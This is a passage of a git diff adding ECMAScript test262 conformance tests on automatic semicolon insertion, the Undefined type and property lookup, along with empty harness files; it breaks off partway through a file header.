index 000000000..4089c29ef
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.9/S7.9_A6.3_T1.js
@@ -0,0 +1,19 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Check For Statement for automatic semicolon insertion.
+ * If automatic insertion semicolon would become one of the two semicolons in the header of a For Statement.
+ * Don`t use semicolons
+ *
+ * @path ch07/7.9/S7.9_A6.3_T1.js
+ * @description For header is (\n)
+ * @negative
+ */
+
+//CHECK#1
+for(
+) {
+ break;
+}
+
diff --git a/js/src/tests/test262/ch07/7.9/S7.9_A6.3_T2.js b/js/src/tests/test262/ch07/7.9/S7.9_A6.3_T2.js
new file mode 100644
index 000000000..6b54313e2
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.9/S7.9_A6.3_T2.js
@@ -0,0 +1,20 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Check For Statement for automatic semicolon insertion.
+ * If automatic insertion semicolon would become one of the two semicolons in the header of a For Statement.
+ * Don`t use semicolons
+ *
+ * @path ch07/7.9/S7.9_A6.3_T2.js
+ * @description For header is (\n \n)
+ * @negative
+ */
+
+//CHECK#1
+for(
+
+) {
+ break;
+}
+
diff --git a/js/src/tests/test262/ch07/7.9/S7.9_A6.3_T3.js b/js/src/tests/test262/ch07/7.9/S7.9_A6.3_T3.js
new file mode 100644
index 000000000..ee52d6181
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.9/S7.9_A6.3_T3.js
@@ -0,0 +1,21 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Check For Statement for automatic semicolon insertion.
+ * If automatic insertion semicolon would become one of the two semicolons in the header of a For Statement.
+ * Don`t use semicolons
+ *
+ * @path ch07/7.9/S7.9_A6.3_T3.js
+ * @description For header is (\n \n \n)
+ * @negative
+ */
+
+//CHECK#1
+for(
+
+
+) {
+ break;
+}
+
diff --git a/js/src/tests/test262/ch07/7.9/S7.9_A6.3_T4.js b/js/src/tests/test262/ch07/7.9/S7.9_A6.3_T4.js
new file mode 100644
index 000000000..41b80740a
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.9/S7.9_A6.3_T4.js
@@ -0,0 +1,20 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Check For Statement for automatic semicolon insertion.
+ * If automatic insertion semicolon would become one of the two semicolons in the header of a For Statement.
+ * Don`t use semicolons
+ *
+ * @path ch07/7.9/S7.9_A6.3_T4.js
+ * @description For header is (\n false \n)
+ * @negative
+ */
+
+//CHECK#1
+for(
+ false
+) {
+ break;
+}
+
diff --git a/js/src/tests/test262/ch07/7.9/S7.9_A6.3_T5.js b/js/src/tests/test262/ch07/7.9/S7.9_A6.3_T5.js
new file mode 100644
index 000000000..2377faaa5
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.9/S7.9_A6.3_T5.js
@@ -0,0 +1,20 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Check For Statement for automatic semicolon insertion.
+ * If automatic insertion semicolon would become one of the two semicolons in the header of a For Statement.
+ * Don`t use semicolons
+ *
+ * @path ch07/7.9/S7.9_A6.3_T5.js
+ * @description For header is (false \n false \n)
+ * @negative
+ */
+
+//CHECK#1
+for(false
+ false
+) {
+ break;
+}
+
diff --git a/js/src/tests/test262/ch07/7.9/S7.9_A6.3_T6.js b/js/src/tests/test262/ch07/7.9/S7.9_A6.3_T6.js
new file mode 100644
index 000000000..b400c9de3
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.9/S7.9_A6.3_T6.js
@@ -0,0 +1,21 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Check For Statement for automatic semicolon insertion.
+ * If automatic insertion semicolon would become one of the two semicolons in the header of a For Statement.
+ * Don`t use semicolons
+ *
+ * @path ch07/7.9/S7.9_A6.3_T6.js
+ * @description For header is (\n false \n false \n)
+ * @negative
+ */
+
+//CHECK#1
+for(
+ false
+ false
+) {
+ break;
+}
+
diff --git a/js/src/tests/test262/ch07/7.9/S7.9_A6.3_T7.js b/js/src/tests/test262/ch07/7.9/S7.9_A6.3_T7.js
new file mode 100644
index 000000000..ec63c02bc
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.9/S7.9_A6.3_T7.js
@@ -0,0 +1,22 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Check For Statement for automatic semicolon insertion.
+ * If automatic insertion semicolon would become one of the two semicolons in the header of a For Statement.
+ * Don`t use semicolons
+ *
+ * @path ch07/7.9/S7.9_A6.3_T7.js
+ * @description For header is (\n false \n false \n false \n)
+ * @negative
+ */
+
+//CHECK#1
+for(
+ false
+ false
+ false
+) {
+ break;
+}
+
diff --git a/js/src/tests/test262/ch07/7.9/S7.9_A6.4_T1.js b/js/src/tests/test262/ch07/7.9/S7.9_A6.4_T1.js
new file mode 100644
index 000000000..44169a23f
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.9/S7.9_A6.4_T1.js
@@ -0,0 +1,16 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Check For Statement for automatic semicolon insertion
+ *
+ * @path ch07/7.9/S7.9_A6.4_T1.js
+ * @description Three semicolons. For header is (false semicolon false semicolon false semicolon)
+ * @negative
+ */
+
+//CHECK#1
+for(false;false;false;) {
+ break;
+}
+
diff --git a/js/src/tests/test262/ch07/7.9/S7.9_A6.4_T2.js b/js/src/tests/test262/ch07/7.9/S7.9_A6.4_T2.js
new file mode 100644
index 000000000..f930cf830
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.9/S7.9_A6.4_T2.js
@@ -0,0 +1,16 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Check For Statement for automatic semicolon insertion
+ *
+ * @path ch07/7.9/S7.9_A6.4_T2.js
+ * @description Three semicolons. For header is (false semicolon false two semicolons false)
+ * @negative
+ */
+
+//CHECK#1
+for(false;false;;false) {
+ break;
+}
+
diff --git a/js/src/tests/test262/ch07/7.9/S7.9_A7_T1.js b/js/src/tests/test262/ch07/7.9/S7.9_A7_T1.js
new file mode 100644
index 000000000..ac730d59f
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.9/S7.9_A7_T1.js
@@ -0,0 +1,14 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Check Var Statement for automatic semicolon insertion
+ *
+ * @path ch07/7.9/S7.9_A7_T1.js
+ * @description Checking if execution of "var x \n = 1" passes
+ */
+
+//CHECK#1
+var x
+= 1
+
diff --git a/js/src/tests/test262/ch07/7.9/S7.9_A7_T2.js b/js/src/tests/test262/ch07/7.9/S7.9_A7_T2.js
new file mode 100644
index 000000000..91900bb1f
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.9/S7.9_A7_T2.js
@@ -0,0 +1,14 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Check Var Statement for automatic semicolon insertion
+ *
+ * @path ch07/7.9/S7.9_A7_T2.js
+ * @description Checking if execution of "var x = \n 1" passes
+ */
+
+//CHECK#1
+var x =
+1
+
diff --git a/js/src/tests/test262/ch07/7.9/S7.9_A7_T3.js b/js/src/tests/test262/ch07/7.9/S7.9_A7_T3.js
new file mode 100644
index 000000000..bddc5e4d1
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.9/S7.9_A7_T3.js
@@ -0,0 +1,15 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Check Var Statement for automatic semicolon insertion
+ *
+ * @path ch07/7.9/S7.9_A7_T3.js
+ * @description Checking if execution of "var x \n x = 1" passes
+ */
+
+//CHECK#1
+var x
+x = 1
+
+
diff --git a/js/src/tests/test262/ch07/7.9/S7.9_A7_T4.js b/js/src/tests/test262/ch07/7.9/S7.9_A7_T4.js
new file mode 100644
index 000000000..46f17a477
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.9/S7.9_A7_T4.js
@@ -0,0 +1,15 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Check Var Statement for automatic semicolon insertion
+ *
+ * @path ch07/7.9/S7.9_A7_T4.js
+ * @description Checking if execution of "var \n x" passes
+ */
+
+//CHECK#1
+var
+x
+
+
diff --git a/js/src/tests/test262/ch07/7.9/S7.9_A7_T5.js b/js/src/tests/test262/ch07/7.9/S7.9_A7_T5.js
new file mode 100644
index 000000000..d1e1be650
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.9/S7.9_A7_T5.js
@@ -0,0 +1,17 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Check Var Statement for automatic semicolon insertion
+ *
+ * @path ch07/7.9/S7.9_A7_T5.js
+ * @description Checking if execution of "var \n x \n = \n 1" passes
+ */
+
+//CHECK#1
+var
+x
+=
+1
+
+
diff --git a/js/src/tests/test262/ch07/7.9/S7.9_A7_T6.js b/js/src/tests/test262/ch07/7.9/S7.9_A7_T6.js
new file mode 100644
index 000000000..df7911717
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.9/S7.9_A7_T6.js
@@ -0,0 +1,15 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Check Var Statement for automatic semicolon insertion
+ *
+ * @path ch07/7.9/S7.9_A7_T6.js
+ * @description Checking if execution of "var x, \n y" passes
+ */
+
+//CHECK#1
+var x,
+y
+
+
diff --git a/js/src/tests/test262/ch07/7.9/S7.9_A7_T7.js b/js/src/tests/test262/ch07/7.9/S7.9_A7_T7.js
new file mode 100644
index 000000000..9beb8822c
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.9/S7.9_A7_T7.js
@@ -0,0 +1,16 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Check Var Statement for automatic semicolon insertion
+ *
+ * @path ch07/7.9/S7.9_A7_T7.js
+ * @description Checking if execution of "var x \n y" passes
+ * @negative
+ */
+
+//CHECK#1
+var x
+y
+
+
diff --git a/js/src/tests/test262/ch07/7.9/S7.9_A7_T8.js b/js/src/tests/test262/ch07/7.9/S7.9_A7_T8.js
new file mode 100644
index 000000000..9b9057ad9
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.9/S7.9_A7_T8.js
@@ -0,0 +1,15 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Check Var Statement for automatic semicolon insertion
+ *
+ * @path ch07/7.9/S7.9_A7_T8.js
+ * @description Checking if execution of "var x \n ,y" passes
+ */
+
+//CHECK#1
+var x
+,y
+
+
diff --git a/js/src/tests/test262/ch07/7.9/S7.9_A7_T9.js b/js/src/tests/test262/ch07/7.9/S7.9_A7_T9.js
new file mode 100644
index 000000000..826ce4651
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.9/S7.9_A7_T9.js
@@ -0,0 +1,16 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Check Var Statement for automatic semicolon insertion
+ *
+ * @path ch07/7.9/S7.9_A7_T9.js
+ * @description Checking if execution of "var x \n ,y = 1" passes
+ */
+
+//CHECK#1
+var
+x
+,y = 1
+
+
diff --git a/js/src/tests/test262/ch07/7.9/S7.9_A8_T1.js b/js/src/tests/test262/ch07/7.9/S7.9_A8_T1.js
new file mode 100644
index 000000000..d708cb3f6
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.9/S7.9_A8_T1.js
@@ -0,0 +1,13 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Check Empty Statement for automatic semicolon insertion
+ *
+ * @path ch07/7.9/S7.9_A8_T1.js
+ * @description Checking if execution of one semicolon passes
+ */
+
+//CHECK#1
+;
+
diff --git a/js/src/tests/test262/ch07/7.9/S7.9_A8_T2.js b/js/src/tests/test262/ch07/7.9/S7.9_A8_T2.js
new file mode 100644
index 000000000..8cf2691f8
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.9/S7.9_A8_T2.js
@@ -0,0 +1,16 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Check Empty Statement for automatic semicolon insertion
+ *
+ * @path ch07/7.9/S7.9_A8_T2.js
+ * @description Checking if execution of some semicolons with LineTerminators pases
+ */
+
+//CHECK#1
+;
+;
+;
+;
+
diff --git a/js/src/tests/test262/ch07/7.9/S7.9_A8_T3.js b/js/src/tests/test262/ch07/7.9/S7.9_A8_T3.js
new file mode 100644
index 000000000..4a91d79f2
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.9/S7.9_A8_T3.js
@@ -0,0 +1,13 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Check Empty Statement for automatic semicolon insertion
+ *
+ * @path ch07/7.9/S7.9_A8_T3.js
+ * @description Checking if execution of some semicolons without LineTerminators passes
+ */
+
+//CHECK#1
+;;;;
+
diff --git a/js/src/tests/test262/ch07/7.9/S7.9_A8_T4.js b/js/src/tests/test262/ch07/7.9/S7.9_A8_T4.js
new file mode 100644
index 000000000..6017d8221
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.9/S7.9_A8_T4.js
@@ -0,0 +1,16 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Check Empty Statement for automatic semicolon insertion
+ *
+ * @path ch07/7.9/S7.9_A8_T4.js
+ * @description Checking if execution of some semicolons with LineTerminators and numbers passes
+ */
+
+//CHECK#1
+;1;
+;1
+;1;
+;1
+
diff --git a/js/src/tests/test262/ch07/7.9/S7.9_A8_T5.js b/js/src/tests/test262/ch07/7.9/S7.9_A8_T5.js
new file mode 100644
index 000000000..339d7e24d
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.9/S7.9_A8_T5.js
@@ -0,0 +1,13 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Check Empty Statement for automatic semicolon insertion
+ *
+ * @path ch07/7.9/S7.9_A8_T5.js
+ * @description Checking if execution of some semicolons without LineTerminators but with numbers passes
+ */
+
+//CHECK#1
+;;1;;1;;1
+
diff --git a/js/src/tests/test262/ch07/7.9/S7.9_A9_T1.js b/js/src/tests/test262/ch07/7.9/S7.9_A9_T1.js
new file mode 100644
index 000000000..0ee175bc3
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.9/S7.9_A9_T1.js
@@ -0,0 +1,14 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Check Do-While Statement for automatic semicolon insertion
+ *
+ * @path ch07/7.9/S7.9_A9_T1.js
+ * @description Execute do { \n }while(false)
+ */
+
+//CHECK#1
+do {
+} while (false)
+
diff --git a/js/src/tests/test262/ch07/7.9/S7.9_A9_T2.js b/js/src/tests/test262/ch07/7.9/S7.9_A9_T2.js
new file mode 100644
index 000000000..3417ff15d
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.9/S7.9_A9_T2.js
@@ -0,0 +1,14 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Check Do-While Statement for automatic semicolon insertion
+ *
+ * @path ch07/7.9/S7.9_A9_T2.js
+ * @description Execute do; while(false) \n true
+ */
+
+//CHECK#1
+do ; while (false)
+true
+
diff --git a/js/src/tests/test262/ch07/7.9/S7.9_A9_T5.js b/js/src/tests/test262/ch07/7.9/S7.9_A9_T5.js
new file mode 100644
index 000000000..0e0be2ee9
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.9/S7.9_A9_T5.js
@@ -0,0 +1,16 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Check Do-While Statement for automatic semicolon insertion
+ *
+ * @path ch07/7.9/S7.9_A9_T5.js
+ * @description Execute do { \n ; \n }while((false) \n )
+ */
+
+//CHECK#1
+do {
+ ;
+} while ((false)
+)
+
diff --git a/js/src/tests/test262/ch07/7.9/S7.9_A9_T6.js b/js/src/tests/test262/ch07/7.9/S7.9_A9_T6.js
new file mode 100644
index 000000000..dfff034d7
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.9/S7.9_A9_T6.js
@@ -0,0 +1,15 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Check Do-While Statement for automatic semicolon insertion
+ *
+ * @path ch07/7.9/S7.9_A9_T6.js
+ * @description Execute do \n while(false)
+ * @negative
+ */
+
+//CHECK#1
+do
+while (false)
+
diff --git a/js/src/tests/test262/ch07/7.9/S7.9_A9_T7.js b/js/src/tests/test262/ch07/7.9/S7.9_A9_T7.js
new file mode 100644
index 000000000..853144bc2
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.9/S7.9_A9_T7.js
@@ -0,0 +1,16 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Check Do-While Statement for automatic semicolon insertion
+ *
+ * @path ch07/7.9/S7.9_A9_T7.js
+ * @description Execute do \n\n while(false)
+ * @negative
+ */
+
+//CHECK#1
+do
+
+while (false)
+
diff --git a/js/src/tests/test262/ch07/7.9/S7.9_A9_T8.js b/js/src/tests/test262/ch07/7.9/S7.9_A9_T8.js
new file mode 100644
index 000000000..398a75efc
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.9/S7.9_A9_T8.js
@@ -0,0 +1,15 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Check Do-While Statement for automatic semicolon insertion
+ *
+ * @path ch07/7.9/S7.9_A9_T8.js
+ * @description Execute do {}; \n while(false)
+ * @negative
+ */
+
+//CHECK#1
+do {};
+while (false)
+
diff --git a/js/src/tests/test262/ch07/7.9/S7.9_A9_T9.js b/js/src/tests/test262/ch07/7.9/S7.9_A9_T9.js
new file mode 100644
index 000000000..cc5948759
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.9/S7.9_A9_T9.js
@@ -0,0 +1,14 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Check Do-While Statement for automatic semicolon insertion
+ *
+ * @path ch07/7.9/S7.9_A9_T9.js
+ * @description Execute do {} \n while(false)
+ */
+
+//CHECK#1
+do {}
+while (false)
+
diff --git a/js/src/tests/test262/ch07/7.9/browser.js b/js/src/tests/test262/ch07/7.9/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.9/browser.js
diff --git a/js/src/tests/test262/ch07/7.9/shell.js b/js/src/tests/test262/ch07/7.9/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.9/shell.js
diff --git a/js/src/tests/test262/ch07/browser.js b/js/src/tests/test262/ch07/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch07/browser.js
diff --git a/js/src/tests/test262/ch07/shell.js b/js/src/tests/test262/ch07/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch07/shell.js
diff --git a/js/src/tests/test262/ch08/8.1/S8.1_A1_T1.js b/js/src/tests/test262/ch08/8.1/S8.1_A1_T1.js
new file mode 100644
index 000000000..cadea188d
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.1/S8.1_A1_T1.js
@@ -0,0 +1,13 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The Undefined type has one value, called undefined
+ *
+ * @path ch08/8.1/S8.1_A1_T1.js
+ * @description Checking if execution of "var x = undefined" passes
+ */
+
+// CHECK#1
+var x = undefined;
+
diff --git a/js/src/tests/test262/ch08/8.1/S8.1_A1_T2.js b/js/src/tests/test262/ch08/8.1/S8.1_A1_T2.js
new file mode 100644
index 000000000..eeea0b7da
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.1/S8.1_A1_T2.js
@@ -0,0 +1,25 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The Undefined type has one value, called undefined
+ *
+ * @path ch08/8.1/S8.1_A1_T2.js
+ * @description Check typeof(undefined) and typeof(void 0)
+ */
+
+// CHECK#1
+if (!(typeof(undefined) === "undefined")) {
+ ERROR('#1: typeof(undefined) === "undefined". Actual: ' + (typeof(undefined)));
+}
+
+// CHECK#2
+if (!(typeof(void 0) === "undefined")) {
+ ERROR('#2: typeof(void 0) === "undefined". Actual: ' + (typeof(void 0)));
+}
+
+// CHECK#3
+if (!(undefined === void 0)) {
+ ERROR('#3: undefined === void 0');
+}
+
diff --git a/js/src/tests/test262/ch08/8.1/S8.1_A2_T1.js b/js/src/tests/test262/ch08/8.1/S8.1_A2_T1.js
new file mode 100644
index 000000000..5fd35b2dc
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.1/S8.1_A2_T1.js
@@ -0,0 +1,36 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Any variable that has not been assigned a value has the value undefined
+ *
+ * @path ch08/8.1/S8.1_A2_T1.js
+ * @description Check that var x have value and type undefined
+ */
+
+var x;
+
+///////////////////////////////////////////////////////////////////
+// CHECK#1
+if (!(x === undefined)) {
+ $ERROR('#1: var x; x === undefined. Actual: ' + (x));
+}
+//
+///////////////////////////////////////////////////////////////////
+
+///////////////////////////////////////////////////////////////////
+// CHECK#2
+if (!(typeof(x) === "undefined")) {
+ $ERROR('#2: var x; typeof(x) === "undefined". Actual: ' + (typeof(x)));
+}
+//
+///////////////////////////////////////////////////////////////////
+
+///////////////////////////////////////////////////////////////////
+// CHECK#3
+if (!(x === void 0)) {
+ $ERROR('#3: var x; x === void 0. Actual: ' + (x));
+}
+//
+///////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch08/8.1/S8.1_A2_T2.js b/js/src/tests/test262/ch08/8.1/S8.1_A2_T2.js
new file mode 100644
index 000000000..1c03d668f
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.1/S8.1_A2_T2.js
@@ -0,0 +1,27 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Any variable that has not been assigned a value has the value undefined
+ *
+ * @path ch08/8.1/S8.1_A2_T2.js
+ * @description Function return undefined
+ */
+
+// CHECK#1
+function test1(x) {
+ return x;
+}
+
+if (!(test1() === void 0)) {
+ $ERROR('#1: function test1(x){return x} test1() === void 0. Actual: ' + (test1()));
+}
+
+// CHECK#2
+function test2() {
+}
+
+if (!(test2() === void 0)) {
+ $ERROR('#2: function test2(){} test2() === void 0. Actual: ' + (test2()));
+}
+
diff --git a/js/src/tests/test262/ch08/8.1/S8.1_A3.js b/js/src/tests/test262/ch08/8.1/S8.1_A3.js
new file mode 100644
index 000000000..056a136a9
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.1/S8.1_A3.js
@@ -0,0 +1,16 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * undefined is not a keyword
+ *
+ * @path ch08/8.1/S8.1_A3.js
+ * @description Create variable named undefined
+ */
+
+//////////////////////////////////////////////////////////
+// CHECK1#
+var undefined = 1;
+//
+//////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch08/8.1/S8.1_A4.js b/js/src/tests/test262/ch08/8.1/S8.1_A4.js
new file mode 100644
index 000000000..9d8a256d0
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.1/S8.1_A4.js
@@ -0,0 +1,16 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If property of object not exist, return undefined
+ *
+ * @path ch08/8.1/S8.1_A4.js
+ * @description Check value of not existed property
+ */
+
+// CHECK#1
+if ((new Object()).newProperty !== undefined) {
+ $ERROR('#1: (new Object()).newProperty === undefined. Actual: ' + ((new Object()).newProperty));
+}
+
+
diff --git a/js/src/tests/test262/ch08/8.1/S8.1_A5.js b/js/src/tests/test262/ch08/8.1/S8.1_A5.js
new file mode 100644
index 000000000..89539ea89
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.1/S8.1_A5.js
@@ -0,0 +1,23 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Function argument that isn't provided has a value of undefined
+ *
+ * @path ch08/8.1/S8.1_A5.js
+ * @description Call function without provided argument
+ */
+
+///////////////////////////////////////
+//
+function test(arg) {
+// Check and make sure that arg is not undefined
+ if (typeof(arg) !== "undefined") {
+ $ERROR('#1: Function argument that isn\'t provided has a value of undefined. Actual: ' + (typeof(arg)));
+ }
+}
+
+test();
+//
+////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch08/8.1/browser.js b/js/src/tests/test262/ch08/8.1/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.1/browser.js
diff --git a/js/src/tests/test262/ch08/8.1/shell.js b/js/src/tests/test262/ch08/8.1/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.1/shell.js
diff --git a/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_1.js b/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_1.js
new file mode 100644
index 000000000..fc417c8d8
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_1.js
@@ -0,0 +1,17 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch08/8.12/8.12.1/8.12.1-1_1.js
+ * @description Properties - [[HasOwnProperty]] (property does not exist)
+ */
+
+function testcase() {
+
+ var o = {};
+ return o.hasOwnProperty("foo")===false;
+
+}
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_10.js b/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_10.js
new file mode 100644
index 000000000..88dd4d998
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_10.js
@@ -0,0 +1,18 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch08/8.12/8.12.1/8.12.1-1_10.js
+ * @description Properties - [[HasOwnProperty]] (writable, configurable, non-enumerable own value property)
+ */
+
+function testcase() {
+
+ var o = {};
+ Object.defineProperty(o, "foo", {value: 42, writable:true, configurable:true});
+ return o.hasOwnProperty("foo");
+
+}
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_11.js b/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_11.js
new file mode 100644
index 000000000..c000d0861
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_11.js
@@ -0,0 +1,18 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch08/8.12/8.12.1/8.12.1-1_11.js
+ * @description Properties - [[HasOwnProperty]] (writable, configurable, enumerable own value property)
+ */
+
+function testcase() {
+
+ var o = {};
+ Object.defineProperty(o, "foo", {value: 42, writable:true, enumerable:true, configurable:true});
+ return o.hasOwnProperty("foo");
+
+}
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_12.js b/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_12.js
new file mode 100644
index 000000000..41bc3b61b
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_12.js
@@ -0,0 +1,19 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
